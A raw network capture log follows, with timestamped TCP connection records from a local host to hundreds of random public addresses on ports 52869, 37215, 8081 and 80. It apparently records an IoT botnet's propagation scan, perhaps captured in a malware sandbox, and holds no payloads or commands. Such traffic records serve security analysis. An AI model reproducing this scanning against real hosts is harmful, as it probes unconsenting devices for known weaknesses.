Jul 20, 2024 23:10:38.064713001 CEST	58771	52869	192.168.2.15	175.25.115.198
Jul 20, 2024 23:10:38.064718962 CEST	80	58774	95.88.47.52	192.168.2.15
Jul 20, 2024 23:10:38.064730883 CEST	80	58774	95.164.0.148	192.168.2.15
Jul 20, 2024 23:10:38.064742088 CEST	80	58774	95.63.243.177	192.168.2.15
Jul 20, 2024 23:10:38.064753056 CEST	80	58774	95.75.120.251	192.168.2.15
Jul 20, 2024 23:10:38.064764977 CEST	80	58774	95.202.232.169	192.168.2.15
Jul 20, 2024 23:10:38.064776897 CEST	80	58774	95.242.195.241	192.168.2.15
Jul 20, 2024 23:10:38.064789057 CEST	80	58774	95.78.52.39	192.168.2.15
Jul 20, 2024 23:10:38.064800024 CEST	80	58774	95.120.168.30	192.168.2.15
Jul 20, 2024 23:10:38.064811945 CEST	80	58774	95.200.230.117	192.168.2.15
Jul 20, 2024 23:10:38.064824104 CEST	80	58774	95.11.128.87	192.168.2.15
Jul 20, 2024 23:10:38.064835072 CEST	80	58774	95.44.146.40	192.168.2.15
Jul 20, 2024 23:10:38.064847946 CEST	80	58774	95.247.49.130	192.168.2.15
Jul 20, 2024 23:10:38.064860106 CEST	80	58774	95.71.24.80	192.168.2.15
Jul 20, 2024 23:10:38.064867020 CEST	58771	52869	192.168.2.15	181.140.50.125
Jul 20, 2024 23:10:38.064867020 CEST	58771	52869	192.168.2.15	128.9.110.49
Jul 20, 2024 23:10:38.064867020 CEST	58771	52869	192.168.2.15	82.135.59.154
Jul 20, 2024 23:10:38.064867020 CEST	58771	52869	192.168.2.15	166.245.63.254
Jul 20, 2024 23:10:38.064867020 CEST	58771	52869	192.168.2.15	171.184.209.158
Jul 20, 2024 23:10:38.064867020 CEST	58771	52869	192.168.2.15	218.69.32.51
Jul 20, 2024 23:10:38.064867020 CEST	58771	52869	192.168.2.15	119.161.235.200
Jul 20, 2024 23:10:38.064867020 CEST	58771	52869	192.168.2.15	220.201.12.60
Jul 20, 2024 23:10:38.064883947 CEST	80	58774	95.197.209.172	192.168.2.15
Jul 20, 2024 23:10:38.064903021 CEST	80	58774	95.70.78.2	192.168.2.15
Jul 20, 2024 23:10:38.064913988 CEST	80	58774	95.230.17.220	192.168.2.15
Jul 20, 2024 23:10:38.064925909 CEST	80	58774	95.95.251.153	192.168.2.15
Jul 20, 2024 23:10:38.064938068 CEST	80	58774	95.69.205.199	192.168.2.15
Jul 20, 2024 23:10:38.064949989 CEST	80	58774	95.207.231.236	192.168.2.15
Jul 20, 2024 23:10:38.064961910 CEST	80	58774	95.221.135.92	192.168.2.15
Jul 20, 2024 23:10:38.064974070 CEST	80	58774	95.167.242.235	192.168.2.15
Jul 20, 2024 23:10:38.064985991 CEST	80	58774	95.251.240.84	192.168.2.15
Jul 20, 2024 23:10:38.064996958 CEST	80	58774	95.131.36.95	192.168.2.15
Jul 20, 2024 23:10:38.065009117 CEST	80	58774	95.238.4.111	192.168.2.15
Jul 20, 2024 23:10:38.065020084 CEST	80	58774	95.187.222.173	192.168.2.15
Jul 20, 2024 23:10:38.065032005 CEST	80	58774	95.192.108.175	192.168.2.15
Jul 20, 2024 23:10:38.065043926 CEST	80	58774	95.68.28.156	192.168.2.15
Jul 20, 2024 23:10:38.065054893 CEST	80	58774	95.148.45.107	192.168.2.15
Jul 20, 2024 23:10:38.065066099 CEST	80	58774	95.235.95.58	192.168.2.15
Jul 20, 2024 23:10:38.065077066 CEST	80	58774	95.52.57.44	192.168.2.15
Jul 20, 2024 23:10:38.065088987 CEST	80	58774	95.139.127.12	192.168.2.15
Jul 20, 2024 23:10:38.065099955 CEST	80	58774	95.175.184.234	192.168.2.15
Jul 20, 2024 23:10:38.065112114 CEST	80	58774	95.156.193.59	192.168.2.15
Jul 20, 2024 23:10:38.065124035 CEST	80	58774	95.210.81.12	192.168.2.15
Jul 20, 2024 23:10:38.065135956 CEST	8081	43862	101.137.132.47	192.168.2.15
Jul 20, 2024 23:10:38.065148115 CEST	80	59184	88.185.132.47	192.168.2.15
Jul 20, 2024 23:10:38.065160990 CEST	52869	38292	119.87.220.235	192.168.2.15
Jul 20, 2024 23:10:38.065175056 CEST	37215	44484	76.125.10.46	192.168.2.15
Jul 20, 2024 23:10:38.065186977 CEST	2466	50866	15.235.203.214	192.168.2.15
Jul 20, 2024 23:10:38.070430994 CEST	58771	52869	192.168.2.15	190.221.23.198
Jul 20, 2024 23:10:38.070431948 CEST	58771	52869	192.168.2.15	139.69.115.52
Jul 20, 2024 23:10:38.070431948 CEST	58771	52869	192.168.2.15	162.46.6.147
Jul 20, 2024 23:10:38.070431948 CEST	58771	52869	192.168.2.15	1.2.244.41
Jul 20, 2024 23:10:38.070431948 CEST	58771	52869	192.168.2.15	200.80.131.62
Jul 20, 2024 23:10:38.070431948 CEST	58771	52869	192.168.2.15	78.204.190.86
Jul 20, 2024 23:10:38.070431948 CEST	58771	52869	192.168.2.15	219.194.80.214
Jul 20, 2024 23:10:38.070431948 CEST	58771	52869	192.168.2.15	36.109.50.150
Jul 20, 2024 23:10:38.070599079 CEST	58771	52869	192.168.2.15	143.53.132.181
Jul 20, 2024 23:10:38.070599079 CEST	58771	52869	192.168.2.15	49.101.216.31
Jul 20, 2024 23:10:38.070599079 CEST	58771	52869	192.168.2.15	105.10.226.228
Jul 20, 2024 23:10:38.070599079 CEST	58771	52869	192.168.2.15	32.43.211.11
Jul 20, 2024 23:10:38.070599079 CEST	58771	52869	192.168.2.15	64.125.253.160
Jul 20, 2024 23:10:38.070599079 CEST	58771	52869	192.168.2.15	159.93.165.89
Jul 20, 2024 23:10:38.070600033 CEST	58771	52869	192.168.2.15	67.54.36.56
Jul 20, 2024 23:10:38.070600033 CEST	58771	52869	192.168.2.15	100.189.129.111
Jul 20, 2024 23:10:38.070889950 CEST	58771	52869	192.168.2.15	187.57.11.214
Jul 20, 2024 23:10:38.070889950 CEST	58771	52869	192.168.2.15	70.231.191.159
Jul 20, 2024 23:10:38.070889950 CEST	58771	52869	192.168.2.15	161.164.230.13
Jul 20, 2024 23:10:38.070889950 CEST	58771	52869	192.168.2.15	58.16.233.22
Jul 20, 2024 23:10:38.070889950 CEST	58771	52869	192.168.2.15	59.35.165.228
Jul 20, 2024 23:10:38.070889950 CEST	58771	52869	192.168.2.15	176.75.183.95
Jul 20, 2024 23:10:38.070889950 CEST	58771	52869	192.168.2.15	162.163.75.65
Jul 20, 2024 23:10:38.070889950 CEST	58771	52869	192.168.2.15	117.183.235.145
Jul 20, 2024 23:10:38.073885918 CEST	58771	52869	192.168.2.15	165.238.247.232
Jul 20, 2024 23:10:38.073885918 CEST	58771	52869	192.168.2.15	189.159.208.79
Jul 20, 2024 23:10:38.073885918 CEST	58771	52869	192.168.2.15	192.86.43.172
Jul 20, 2024 23:10:38.073885918 CEST	58771	52869	192.168.2.15	48.221.231.7
Jul 20, 2024 23:10:38.073885918 CEST	58771	52869	192.168.2.15	82.49.16.159
Jul 20, 2024 23:10:38.073885918 CEST	58771	52869	192.168.2.15	122.157.3.110
Jul 20, 2024 23:10:38.073885918 CEST	58771	52869	192.168.2.15	208.90.86.115
Jul 20, 2024 23:10:38.073885918 CEST	58771	52869	192.168.2.15	120.165.53.94
Jul 20, 2024 23:10:38.074990034 CEST	58771	52869	192.168.2.15	153.174.167.228
Jul 20, 2024 23:10:38.074990034 CEST	58771	52869	192.168.2.15	78.61.21.250
Jul 20, 2024 23:10:38.074990034 CEST	58771	52869	192.168.2.15	172.230.152.79
Jul 20, 2024 23:10:38.074990034 CEST	58771	52869	192.168.2.15	58.171.183.4
Jul 20, 2024 23:10:38.074990034 CEST	58771	52869	192.168.2.15	220.174.46.209
Jul 20, 2024 23:10:38.074990034 CEST	58771	52869	192.168.2.15	90.62.96.84
Jul 20, 2024 23:10:38.074990034 CEST	58771	52869	192.168.2.15	136.164.194.198
Jul 20, 2024 23:10:38.074990034 CEST	58771	52869	192.168.2.15	12.12.151.199
Jul 20, 2024 23:10:38.076050997 CEST	58771	52869	192.168.2.15	53.142.246.239
Jul 20, 2024 23:10:38.076050997 CEST	58771	52869	192.168.2.15	131.136.181.97
Jul 20, 2024 23:10:38.076050997 CEST	58771	52869	192.168.2.15	60.44.42.128
Jul 20, 2024 23:10:38.076050997 CEST	58771	52869	192.168.2.15	5.16.244.245
Jul 20, 2024 23:10:38.076050997 CEST	58771	52869	192.168.2.15	128.3.191.142
Jul 20, 2024 23:10:38.076050997 CEST	58771	52869	192.168.2.15	220.9.6.99
Jul 20, 2024 23:10:38.076050997 CEST	58771	52869	192.168.2.15	193.127.97.222
Jul 20, 2024 23:10:38.076050997 CEST	58771	52869	192.168.2.15	39.207.103.141
Jul 20, 2024 23:10:38.078140020 CEST	58771	52869	192.168.2.15	188.109.79.104
Jul 20, 2024 23:10:38.078140020 CEST	58771	52869	192.168.2.15	178.146.104.90
Jul 20, 2024 23:10:38.078140020 CEST	58771	52869	192.168.2.15	141.82.16.231
Jul 20, 2024 23:10:38.078140020 CEST	58771	52869	192.168.2.15	168.122.62.182
Jul 20, 2024 23:10:38.078140020 CEST	58771	52869	192.168.2.15	177.142.84.38
Jul 20, 2024 23:10:38.078140020 CEST	58771	52869	192.168.2.15	122.165.97.252
Jul 20, 2024 23:10:38.078140020 CEST	58771	52869	192.168.2.15	65.131.244.50
Jul 20, 2024 23:10:38.078140020 CEST	58771	52869	192.168.2.15	91.214.37.92
Jul 20, 2024 23:10:38.079070091 CEST	58771	52869	192.168.2.15	5.247.124.234
Jul 20, 2024 23:10:38.079071045 CEST	58771	52869	192.168.2.15	190.248.229.0
Jul 20, 2024 23:10:38.079071045 CEST	58771	52869	192.168.2.15	23.46.14.103
Jul 20, 2024 23:10:38.079071045 CEST	58771	52869	192.168.2.15	134.103.130.22
Jul 20, 2024 23:10:38.079071045 CEST	58771	52869	192.168.2.15	155.118.125.96
Jul 20, 2024 23:10:38.079071045 CEST	58771	52869	192.168.2.15	128.222.100.9
Jul 20, 2024 23:10:38.079071045 CEST	58771	52869	192.168.2.15	185.97.250.160
Jul 20, 2024 23:10:38.079071045 CEST	58771	52869	192.168.2.15	149.126.212.202
Jul 20, 2024 23:10:38.079973936 CEST	58767	37215	192.168.2.15	41.172.129.203
Jul 20, 2024 23:10:38.079973936 CEST	58767	37215	192.168.2.15	41.92.141.153
Jul 20, 2024 23:10:38.079973936 CEST	58767	37215	192.168.2.15	197.245.223.192
Jul 20, 2024 23:10:38.079973936 CEST	58767	37215	192.168.2.15	197.152.159.141
Jul 20, 2024 23:10:38.079973936 CEST	58767	37215	192.168.2.15	41.28.223.56
Jul 20, 2024 23:10:38.079973936 CEST	58767	37215	192.168.2.15	157.227.47.27
Jul 20, 2024 23:10:38.079973936 CEST	58767	37215	192.168.2.15	157.212.89.89
Jul 20, 2024 23:10:38.079973936 CEST	58767	37215	192.168.2.15	41.45.75.186
Jul 20, 2024 23:10:38.081984997 CEST	58771	52869	192.168.2.15	206.47.107.83
Jul 20, 2024 23:10:38.081984997 CEST	58771	52869	192.168.2.15	40.187.242.249
Jul 20, 2024 23:10:38.081984997 CEST	58771	52869	192.168.2.15	99.237.120.204
Jul 20, 2024 23:10:38.081984997 CEST	58771	52869	192.168.2.15	151.198.124.217
Jul 20, 2024 23:10:38.081984997 CEST	58771	52869	192.168.2.15	185.29.181.116
Jul 20, 2024 23:10:38.081984997 CEST	58771	52869	192.168.2.15	162.227.63.247
Jul 20, 2024 23:10:38.081984997 CEST	58771	52869	192.168.2.15	43.46.136.219
Jul 20, 2024 23:10:38.081984997 CEST	58771	52869	192.168.2.15	193.254.121.75
Jul 20, 2024 23:10:38.082384109 CEST	58771	52869	192.168.2.15	152.88.169.23
Jul 20, 2024 23:10:38.082384109 CEST	58771	52869	192.168.2.15	150.183.103.229
Jul 20, 2024 23:10:38.082384109 CEST	58768	8081	192.168.2.15	103.115.176.230
Jul 20, 2024 23:10:38.082384109 CEST	58771	52869	192.168.2.15	143.93.180.142
Jul 20, 2024 23:10:38.082384109 CEST	58774	80	192.168.2.15	95.49.36.47
Jul 20, 2024 23:10:38.082384109 CEST	58774	80	192.168.2.15	95.47.233.185
Jul 20, 2024 23:10:38.082384109 CEST	58774	80	192.168.2.15	95.68.73.234
Jul 20, 2024 23:10:38.082384109 CEST	58768	8081	192.168.2.15	60.124.72.202
Jul 20, 2024 23:10:38.082988977 CEST	58771	52869	192.168.2.15	76.31.57.106
Jul 20, 2024 23:10:38.082988977 CEST	58771	52869	192.168.2.15	184.38.212.102
Jul 20, 2024 23:10:38.082988977 CEST	58771	52869	192.168.2.15	36.141.158.51
Jul 20, 2024 23:10:38.082988977 CEST	58771	52869	192.168.2.15	74.124.219.141
Jul 20, 2024 23:10:38.082988977 CEST	58771	52869	192.168.2.15	65.67.248.160
Jul 20, 2024 23:10:38.082988977 CEST	58771	52869	192.168.2.15	180.78.245.203
Jul 20, 2024 23:10:38.082988977 CEST	58771	52869	192.168.2.15	38.165.231.247
Jul 20, 2024 23:10:38.082988977 CEST	58771	52869	192.168.2.15	196.74.181.174
Jul 20, 2024 23:10:38.085300922 CEST	58771	52869	192.168.2.15	177.52.241.158
Jul 20, 2024 23:10:38.085300922 CEST	58771	52869	192.168.2.15	87.112.96.46
Jul 20, 2024 23:10:38.085300922 CEST	58771	52869	192.168.2.15	166.210.138.244
Jul 20, 2024 23:10:38.085300922 CEST	58771	52869	192.168.2.15	156.209.188.136
Jul 20, 2024 23:10:38.085300922 CEST	58771	52869	192.168.2.15	70.89.41.49
Jul 20, 2024 23:10:38.085300922 CEST	58771	52869	192.168.2.15	93.187.168.235
Jul 20, 2024 23:10:38.085300922 CEST	58771	52869	192.168.2.15	218.129.122.228
Jul 20, 2024 23:10:38.085300922 CEST	58771	52869	192.168.2.15	42.149.105.254
Jul 20, 2024 23:10:38.085746050 CEST	58768	8081	192.168.2.15	124.197.15.151
Jul 20, 2024 23:10:38.085746050 CEST	58768	8081	192.168.2.15	194.94.54.191
Jul 20, 2024 23:10:38.085746050 CEST	58768	8081	192.168.2.15	76.216.125.199
Jul 20, 2024 23:10:38.085746050 CEST	58774	80	192.168.2.15	95.227.229.254
Jul 20, 2024 23:10:38.085746050 CEST	58768	8081	192.168.2.15	119.17.237.122
Jul 20, 2024 23:10:38.085746050 CEST	58774	80	192.168.2.15	95.26.252.244
Jul 20, 2024 23:10:38.085746050 CEST	58768	8081	192.168.2.15	220.201.59.19
Jul 20, 2024 23:10:38.085746050 CEST	58768	8081	192.168.2.15	67.239.118.12
Jul 20, 2024 23:10:38.086464882 CEST	58771	52869	192.168.2.15	68.11.235.229
Jul 20, 2024 23:10:38.086464882 CEST	58771	52869	192.168.2.15	194.17.79.54
Jul 20, 2024 23:10:38.086464882 CEST	58771	52869	192.168.2.15	160.71.39.26
Jul 20, 2024 23:10:38.086464882 CEST	58771	52869	192.168.2.15	8.74.119.121
Jul 20, 2024 23:10:38.086464882 CEST	58771	52869	192.168.2.15	152.92.37.104
Jul 20, 2024 23:10:38.086464882 CEST	58771	52869	192.168.2.15	99.39.182.165
Jul 20, 2024 23:10:38.086464882 CEST	58771	52869	192.168.2.15	124.25.111.159
Jul 20, 2024 23:10:38.086464882 CEST	58771	52869	192.168.2.15	24.11.191.12
Jul 20, 2024 23:10:38.089839935 CEST	58774	80	192.168.2.15	95.37.198.112
Jul 20, 2024 23:10:38.089839935 CEST	58768	8081	192.168.2.15	1.218.210.171
Jul 20, 2024 23:10:38.089839935 CEST	58768	8081	192.168.2.15	138.57.169.79
Jul 20, 2024 23:10:38.089839935 CEST	58768	8081	192.168.2.15	180.46.213.110
Jul 20, 2024 23:10:38.089839935 CEST	58768	8081	192.168.2.15	139.175.143.49
Jul 20, 2024 23:10:38.089839935 CEST	58768	8081	192.168.2.15	93.174.192.195
Jul 20, 2024 23:10:38.089839935 CEST	58768	8081	192.168.2.15	194.115.4.180
Jul 20, 2024 23:10:38.089839935 CEST	58774	80	192.168.2.15	95.34.149.166
Jul 20, 2024 23:10:38.089972019 CEST	58771	52869	192.168.2.15	179.20.162.94
Jul 20, 2024 23:10:38.089972019 CEST	58771	52869	192.168.2.15	165.224.209.96
Jul 20, 2024 23:10:38.089972019 CEST	58768	8081	192.168.2.15	150.224.209.78
Jul 20, 2024 23:10:38.089972019 CEST	58771	52869	192.168.2.15	210.163.74.208
Jul 20, 2024 23:10:38.089972019 CEST	58771	52869	192.168.2.15	160.130.40.213
Jul 20, 2024 23:10:38.089972019 CEST	58771	52869	192.168.2.15	63.166.183.109
Jul 20, 2024 23:10:38.089972019 CEST	58771	52869	192.168.2.15	107.125.125.241
Jul 20, 2024 23:10:38.089972019 CEST	58768	8081	192.168.2.15	71.79.240.251
Jul 20, 2024 23:10:38.090564013 CEST	58771	52869	192.168.2.15	158.210.130.227
Jul 20, 2024 23:10:38.090564013 CEST	58771	52869	192.168.2.15	70.224.109.37
Jul 20, 2024 23:10:38.090564013 CEST	58774	80	192.168.2.15	95.153.158.130
Jul 20, 2024 23:10:38.090564013 CEST	58771	52869	192.168.2.15	78.168.34.68
Jul 20, 2024 23:10:38.090564013 CEST	58771	52869	192.168.2.15	50.48.248.185
Jul 20, 2024 23:10:38.090564013 CEST	58771	52869	192.168.2.15	61.70.108.93
Jul 20, 2024 23:10:38.090564013 CEST	58771	52869	192.168.2.15	133.149.133.59
Jul 20, 2024 23:10:38.090564013 CEST	58774	80	192.168.2.15	95.16.194.91
Jul 20, 2024 23:10:38.091466904 CEST	58767	37215	192.168.2.15	41.62.196.146
Jul 20, 2024 23:10:38.091466904 CEST	58767	37215	192.168.2.15	18.212.3.237
Jul 20, 2024 23:10:38.091466904 CEST	58767	37215	192.168.2.15	157.141.67.107
Jul 20, 2024 23:10:38.091466904 CEST	58767	37215	192.168.2.15	41.22.72.49
Jul 20, 2024 23:10:38.091466904 CEST	58767	37215	192.168.2.15	41.45.252.70
Jul 20, 2024 23:10:38.091466904 CEST	58767	37215	192.168.2.15	197.234.95.95
Jul 20, 2024 23:10:38.091466904 CEST	58767	37215	192.168.2.15	197.52.127.77
Jul 20, 2024 23:10:38.091466904 CEST	58767	37215	192.168.2.15	98.214.74.189
Jul 20, 2024 23:10:38.092139006 CEST	58767	37215	192.168.2.15	157.254.57.167
Jul 20, 2024 23:10:38.092139006 CEST	58767	37215	192.168.2.15	197.58.236.48
Jul 20, 2024 23:10:38.092139006 CEST	58767	37215	192.168.2.15	113.120.65.180
Jul 20, 2024 23:10:38.092139006 CEST	58767	37215	192.168.2.15	96.118.43.16
Jul 20, 2024 23:10:38.092139006 CEST	58767	37215	192.168.2.15	197.46.89.191
Jul 20, 2024 23:10:38.092139006 CEST	58767	37215	192.168.2.15	197.219.171.240
Jul 20, 2024 23:10:38.092139006 CEST	58767	37215	192.168.2.15	157.3.68.92
Jul 20, 2024 23:10:38.092139006 CEST	58767	37215	192.168.2.15	41.8.88.19
Jul 20, 2024 23:10:38.093564034 CEST	58767	37215	192.168.2.15	157.241.184.58
Jul 20, 2024 23:10:38.093564034 CEST	58767	37215	192.168.2.15	197.199.121.205
Jul 20, 2024 23:10:38.093564034 CEST	58767	37215	192.168.2.15	41.37.186.42
Jul 20, 2024 23:10:38.093564034 CEST	58767	37215	192.168.2.15	78.182.219.34
Jul 20, 2024 23:10:38.093564034 CEST	58767	37215	192.168.2.15	41.12.115.150
Jul 20, 2024 23:10:38.093564034 CEST	58767	37215	192.168.2.15	223.168.72.227
Jul 20, 2024 23:10:38.093564034 CEST	58767	37215	192.168.2.15	197.179.40.53
Jul 20, 2024 23:10:38.093564034 CEST	58767	37215	192.168.2.15	157.218.201.124
Jul 20, 2024 23:10:38.094667912 CEST	58767	37215	192.168.2.15	157.122.212.222
Jul 20, 2024 23:10:38.094667912 CEST	58767	37215	192.168.2.15	157.22.213.115
Jul 20, 2024 23:10:38.094667912 CEST	58767	37215	192.168.2.15	165.31.208.112
Jul 20, 2024 23:10:38.094667912 CEST	58767	37215	192.168.2.15	121.251.97.66
Jul 20, 2024 23:10:38.094667912 CEST	58767	37215	192.168.2.15	206.103.204.223
Jul 20, 2024 23:10:38.094667912 CEST	58767	37215	192.168.2.15	41.79.54.43
Jul 20, 2024 23:10:38.094667912 CEST	58767	37215	192.168.2.15	153.254.41.187
Jul 20, 2024 23:10:38.094667912 CEST	58767	37215	192.168.2.15	41.226.107.8
Jul 20, 2024 23:10:38.095110893 CEST	58771	52869	192.168.2.15	174.137.69.132
Jul 20, 2024 23:10:38.095110893 CEST	58774	80	192.168.2.15	95.234.92.116
Jul 20, 2024 23:10:38.095110893 CEST	58774	80	192.168.2.15	95.114.65.67
Jul 20, 2024 23:10:38.095110893 CEST	58774	80	192.168.2.15	95.117.212.184
Jul 20, 2024 23:10:38.095110893 CEST	58774	80	192.168.2.15	95.253.35.203
Jul 20, 2024 23:10:38.095110893 CEST	58768	8081	192.168.2.15	121.2.122.145
Jul 20, 2024 23:10:38.095110893 CEST	58768	8081	192.168.2.15	45.212.82.207
Jul 20, 2024 23:10:38.095110893 CEST	58774	80	192.168.2.15	95.134.137.189
Jul 20, 2024 23:10:38.097068071 CEST	58774	80	192.168.2.15	95.78.50.63
Jul 20, 2024 23:10:38.097068071 CEST	58774	80	192.168.2.15	95.168.235.196
Jul 20, 2024 23:10:38.097068071 CEST	58774	80	192.168.2.15	95.161.7.226
Jul 20, 2024 23:10:38.097068071 CEST	58774	80	192.168.2.15	95.83.59.143
Jul 20, 2024 23:10:38.099556923 CEST	58771	52869	192.168.2.15	98.176.79.31
Jul 20, 2024 23:10:38.099558115 CEST	58774	80	192.168.2.15	95.55.155.232
Jul 20, 2024 23:10:38.099558115 CEST	58768	8081	192.168.2.15	112.141.62.36
Jul 20, 2024 23:10:38.099558115 CEST	58771	52869	192.168.2.15	65.111.241.64
Jul 20, 2024 23:10:38.099558115 CEST	58771	52869	192.168.2.15	91.17.32.135
Jul 20, 2024 23:10:38.099558115 CEST	58771	52869	192.168.2.15	205.4.80.251
Jul 20, 2024 23:10:38.099558115 CEST	58768	8081	192.168.2.15	168.201.211.200
Jul 20, 2024 23:10:38.099558115 CEST	58771	52869	192.168.2.15	172.58.208.79
Jul 20, 2024 23:10:38.100195885 CEST	58774	80	192.168.2.15	95.213.137.174
Jul 20, 2024 23:10:38.100195885 CEST	58768	8081	192.168.2.15	102.83.19.8
Jul 20, 2024 23:10:38.100195885 CEST	58774	80	192.168.2.15	95.142.37.6
Jul 20, 2024 23:10:38.100195885 CEST	58768	8081	192.168.2.15	12.14.90.31
Jul 20, 2024 23:10:38.100195885 CEST	58768	8081	192.168.2.15	168.18.75.42
Jul 20, 2024 23:10:38.100195885 CEST	58768	8081	192.168.2.15	37.22.115.161
Jul 20, 2024 23:10:38.100195885 CEST	58768	8081	192.168.2.15	129.236.195.158
Jul 20, 2024 23:10:38.100195885 CEST	58774	80	192.168.2.15	95.106.5.54
Jul 20, 2024 23:10:38.101654053 CEST	58767	37215	192.168.2.15	34.10.80.0
Jul 20, 2024 23:10:38.101654053 CEST	58767	37215	192.168.2.15	157.36.23.144
Jul 20, 2024 23:10:38.101654053 CEST	58767	37215	192.168.2.15	157.52.27.192
Jul 20, 2024 23:10:38.101654053 CEST	58767	37215	192.168.2.15	157.2.130.211
Jul 20, 2024 23:10:38.101654053 CEST	58767	37215	192.168.2.15	157.181.8.209
Jul 20, 2024 23:10:38.101654053 CEST	58767	37215	192.168.2.15	197.35.75.176
Jul 20, 2024 23:10:38.101654053 CEST	58767	37215	192.168.2.15	157.23.229.215
Jul 20, 2024 23:10:38.101654053 CEST	58767	37215	192.168.2.15	157.221.102.78
Jul 20, 2024 23:10:38.103280067 CEST	58767	37215	192.168.2.15	197.2.105.106
Jul 20, 2024 23:10:38.103280067 CEST	58767	37215	192.168.2.15	41.178.219.191
Jul 20, 2024 23:10:38.103280067 CEST	58767	37215	192.168.2.15	41.176.159.201
Jul 20, 2024 23:10:38.103280067 CEST	58767	37215	192.168.2.15	41.206.150.232
Jul 20, 2024 23:10:38.103280067 CEST	58767	37215	192.168.2.15	157.132.182.252
Jul 20, 2024 23:10:38.103280067 CEST	58767	37215	192.168.2.15	41.98.99.39
Jul 20, 2024 23:10:38.103280067 CEST	58767	37215	192.168.2.15	157.169.237.122
Jul 20, 2024 23:10:38.103280067 CEST	58767	37215	192.168.2.15	46.16.235.19
Jul 20, 2024 23:10:38.105093002 CEST	58767	37215	192.168.2.15	157.57.184.189
Jul 20, 2024 23:10:38.105093002 CEST	58767	37215	192.168.2.15	41.6.49.236
Jul 20, 2024 23:10:38.105093002 CEST	58767	37215	192.168.2.15	41.84.193.219
Jul 20, 2024 23:10:38.105093002 CEST	58767	37215	192.168.2.15	157.135.117.217
Jul 20, 2024 23:10:38.105093002 CEST	58767	37215	192.168.2.15	197.104.87.25
Jul 20, 2024 23:10:38.105093002 CEST	58767	37215	192.168.2.15	197.86.21.19
Jul 20, 2024 23:10:38.105093002 CEST	58767	37215	192.168.2.15	41.96.187.126
Jul 20, 2024 23:10:38.105093002 CEST	58767	37215	192.168.2.15	157.201.191.186
Jul 20, 2024 23:10:38.105825901 CEST	58768	8081	192.168.2.15	88.234.90.110
Jul 20, 2024 23:10:38.105827093 CEST	58768	8081	192.168.2.15	172.163.250.154
Jul 20, 2024 23:10:38.105827093 CEST	58774	80	192.168.2.15	95.192.119.199
Jul 20, 2024 23:10:38.105827093 CEST	58774	80	192.168.2.15	95.209.33.145
Jul 20, 2024 23:10:38.105827093 CEST	58774	80	192.168.2.15	95.75.138.113
Jul 20, 2024 23:10:38.105827093 CEST	58768	8081	192.168.2.15	52.98.96.34
Jul 20, 2024 23:10:38.105827093 CEST	58774	80	192.168.2.15	95.31.67.112
Jul 20, 2024 23:10:38.105827093 CEST	58768	8081	192.168.2.15	201.107.231.59
Jul 20, 2024 23:10:38.106137037 CEST	58767	37215	192.168.2.15	41.163.171.231
Jul 20, 2024 23:10:38.106137037 CEST	58767	37215	192.168.2.15	197.71.87.129
Jul 20, 2024 23:10:38.106137037 CEST	58767	37215	192.168.2.15	157.143.10.205
Jul 20, 2024 23:10:38.106137037 CEST	58767	37215	192.168.2.15	86.174.93.222
Jul 20, 2024 23:10:38.106137037 CEST	58767	37215	192.168.2.15	197.150.216.74
Jul 20, 2024 23:10:38.106137037 CEST	58767	37215	192.168.2.15	157.200.158.9
Jul 20, 2024 23:10:38.106137037 CEST	58767	37215	192.168.2.15	197.92.168.162
Jul 20, 2024 23:10:38.106137991 CEST	58767	37215	192.168.2.15	197.197.128.35
Jul 20, 2024 23:10:38.106415033 CEST	58774	80	192.168.2.15	95.199.28.44
Jul 20, 2024 23:10:38.106415033 CEST	58774	80	192.168.2.15	95.41.183.63
Jul 20, 2024 23:10:38.106415033 CEST	58774	80	192.168.2.15	95.76.48.246
Jul 20, 2024 23:10:38.106415033 CEST	58774	80	192.168.2.15	95.246.124.10
Jul 20, 2024 23:10:38.106415033 CEST	58774	80	192.168.2.15	95.176.104.201
Jul 20, 2024 23:10:38.106415033 CEST	58774	80	192.168.2.15	95.89.213.149
Jul 20, 2024 23:10:38.106415987 CEST	58774	80	192.168.2.15	95.111.178.94
Jul 20, 2024 23:10:38.106415987 CEST	58774	80	192.168.2.15	95.186.103.30
Jul 20, 2024 23:10:38.109213114 CEST	58767	37215	192.168.2.15	41.8.44.217
Jul 20, 2024 23:10:38.109214067 CEST	58767	37215	192.168.2.15	191.22.17.66
Jul 20, 2024 23:10:38.109214067 CEST	58767	37215	192.168.2.15	118.164.169.157
Jul 20, 2024 23:10:38.109214067 CEST	58767	37215	192.168.2.15	197.22.59.28
Jul 20, 2024 23:10:38.109214067 CEST	58767	37215	192.168.2.15	137.114.123.246
Jul 20, 2024 23:10:38.109214067 CEST	58767	37215	192.168.2.15	157.232.218.136
Jul 20, 2024 23:10:38.109214067 CEST	58767	37215	192.168.2.15	144.111.159.210
Jul 20, 2024 23:10:38.109214067 CEST	58767	37215	192.168.2.15	122.133.81.202
Jul 20, 2024 23:10:38.109739065 CEST	58767	37215	192.168.2.15	41.83.69.157
Jul 20, 2024 23:10:38.109740019 CEST	58767	37215	192.168.2.15	41.238.46.145
Jul 20, 2024 23:10:38.109740019 CEST	58767	37215	192.168.2.15	41.236.123.135
Jul 20, 2024 23:10:38.109740019 CEST	58767	37215	192.168.2.15	195.201.234.117
Jul 20, 2024 23:10:38.109740019 CEST	58767	37215	192.168.2.15	1.40.195.11
Jul 20, 2024 23:10:38.109740019 CEST	58767	37215	192.168.2.15	197.178.201.114
Jul 20, 2024 23:10:38.109740019 CEST	58767	37215	192.168.2.15	41.95.181.183
Jul 20, 2024 23:10:38.109740019 CEST	58767	37215	192.168.2.15	197.75.1.123
Jul 20, 2024 23:10:38.111218929 CEST	58774	80	192.168.2.15	95.88.47.52
Jul 20, 2024 23:10:38.111598969 CEST	58767	37215	192.168.2.15	41.109.65.238
Jul 20, 2024 23:10:38.111598969 CEST	58767	37215	192.168.2.15	157.251.215.62
Jul 20, 2024 23:10:38.111598969 CEST	58767	37215	192.168.2.15	157.144.124.87
Jul 20, 2024 23:10:38.111598969 CEST	58767	37215	192.168.2.15	197.33.71.36
Jul 20, 2024 23:10:38.111598969 CEST	58767	37215	192.168.2.15	197.233.162.103
Jul 20, 2024 23:10:38.111598969 CEST	58767	37215	192.168.2.15	197.34.51.167
Jul 20, 2024 23:10:38.111598969 CEST	58767	37215	192.168.2.15	112.14.147.40
Jul 20, 2024 23:10:38.111598969 CEST	58767	37215	192.168.2.15	100.182.250.194
Jul 20, 2024 23:10:38.112294912 CEST	58774	80	192.168.2.15	95.151.81.140
Jul 20, 2024 23:10:38.112296104 CEST	58774	80	192.168.2.15	95.157.14.101
